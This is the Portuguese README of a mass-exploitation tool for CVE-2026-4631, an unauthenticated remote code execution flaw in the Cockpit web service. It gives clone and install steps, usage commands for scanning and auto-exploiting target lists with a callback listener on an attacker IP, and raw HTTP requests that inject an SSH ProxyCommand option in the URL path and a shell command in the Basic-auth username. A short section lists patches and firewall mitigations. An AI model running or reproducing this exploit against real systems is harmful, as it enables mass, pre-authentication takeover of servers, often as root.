Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78
Execução Remota de Código não Autenticada via Injeção de Argumentos de Linha de Comando SSH Cockpit versões 327 – 359 | CVSS 9.8 Crítico | CWE-78
Ferramenta de exploração em massa para CVE-2026-4631 no serviço web do Cockpit (cockpit-ws, porta 9090). Suporta modo de varredura de vulnerabilidade, modo RCE com captura de saída de comando via ouvinte de callback HTTP embutido, modo --auto (varredura + exploração em uma única execução com comando padrão id), adição automática da porta :9090 para alvos sem porta, ambos os vetores de ataque (ProxyCommand + injeção de username %r), alvos em massa a partir de arquivo, concorrência com threads e saída de resultado estruturada.
Autor: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Edite targets.txt — um host por linha. A porta :9090 é adicionada automaticamente se não existir:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Varredura + exploração em uma única execução, comando padrão "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>
# Exemplo de saída em results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Apenas varredura de vulnerabilidade (sem exploração)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explícito com comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>
# Alvo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>
CVE-2026-4631 é um RCE cego — a saída do comando não retorna na resposta HTTP. A ferramenta utiliza um ouvinte HTTP embutido (porta padrão 8888) para capturar a saída. Certifique-se de que:
--callback-ip é um IP acessível a partir do alvo (não 127.0.0.1)8888 (ou --listener-port personalizada)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verificar versão (deve ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Edite /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Reinicie o serviço:
sudo systemctl restart cockpit
Restrinja a porta 9090 apenas à rede de gerenciamento:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitiga o Vetor 1 (injeção ProxyCommand) através da validação precoce do hostname:
ssh -V # deve ser OpenSSH_9.6 ou superior
Se não for possível atualizar para 360, aplique os patches dos commits:
-- em beiboot.py e cockpitauth.c-- em session.pyDetalhes do patch: veja docs/PATCH_ANALYSIS.md
| Campo | Detalhe |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severidade | Crítico (CVSS 9.8) |
| CWE | CWE-78 — Injeção de Comando no Sistema Operacional |
| Afetado | Cockpit 327 – 359 |
| Corrigido em | Cockpit 360+ |
| Autenticação necessária | NÃO (pré-autenticação) |
| Relator | Jelle van der Waa |
| Serviço | cockpit-ws, porta padrão 9090 |
O Cockpit v327 substituiu cockpit-ssh (libssh) por python3 -m cockpit.beiboot, que invoca o cliente ssh do OpenSSH do sistema. Entradas controladas pelo usuário — hostname do caminho da URL e username do cabeçalho Authorization: Basic — são passadas para o ssh sem sanitização e sem o separador -- de fim de opções. A injeção ocorre antes da verificação de credenciais, portanto não é necessário um login válido.
O hostname do caminho da URL é injetado com a opção SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x:x")
O SSH interpreta -oProxyCommand=<cmd> como uma opção, executando <cmd> como ProxyCommand. O comando é executado como o processo do usuário cockpit-ws.
Pré-requisito: OpenSSH < 9.6 no alvo. OpenSSH 9.6+ possui validação precoce de hostname que bloqueia metacaracteres.
%r no Username (Secundário)O username do cabeçalho Authorization: Basic é injetado com um comando shell.
GET /cockpit+=legit-host/login HTTP/1.1
Host: alvo:9090
Authorization: Basic base64("x; <CMD>; #:x")
O SSH expande %r com o username dentro da diretiva Match exec → o shell executa o comando injetado.
Pré-requisito: o ssh_config do alvo possui uma diretiva Match exec com o token %r.
LoginTo) não desabilitadossh_config com Match exec %r# Clonar do GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Instalar dependências
pip install -r requirements.txt
# Verificar
python3 exploit.py --help
requests>=2.31 — Cliente HTTP para requisições de exploraçãocolorama>=0.4 — Saída colorida no terminalNenhuma dependência adicional para o ouvinte (usa http.server + threading da stdlib).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — RCE não autenticado via injeção de argumento SSH